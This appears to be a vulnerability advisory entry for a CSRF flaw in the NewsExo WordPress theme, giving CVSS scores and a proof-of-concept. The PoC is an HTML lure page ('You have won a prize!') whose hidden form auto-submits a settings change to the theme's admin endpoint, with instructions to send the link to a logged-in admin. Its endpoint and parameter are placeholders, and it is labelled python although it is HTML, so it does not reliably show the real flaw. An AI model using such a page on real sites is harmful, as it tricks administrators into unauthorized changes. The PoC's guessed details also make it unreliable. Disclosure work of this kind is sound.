Cross-Site Request Forgery (CSRF) vulnerability in themearile NewsExo newsexo allows Cross Site Request Forgery.This issue affects NewsExo: from n/a through <= 7.1.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
NewsExo <= 7.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-39618 (NewsExo CSRF)
Description: This HTML page demonstrates how an attacker could trigger a state-changing request on behalf of an authenticated admin.
Usage: Host this file and send the link to a logged-in admin.
-->
<html>
<body>
<h1>You have won a prize! Click to claim.</h1>
<!-- Replace 'action' and input names with actual vulnerable endpoints/parameters if known -->
<form action="http://target-site/wp-admin/admin.php?page=newsexo_settings" method="POST">
<input type="hidden" name="option_name" value="malicious_config_value" />
<input type="submit" value="Claim Prize" />
</form>
<script>
// Auto-submit the form to maximize exploit success
document.forms[0].submit();
</script>
</body>
</html>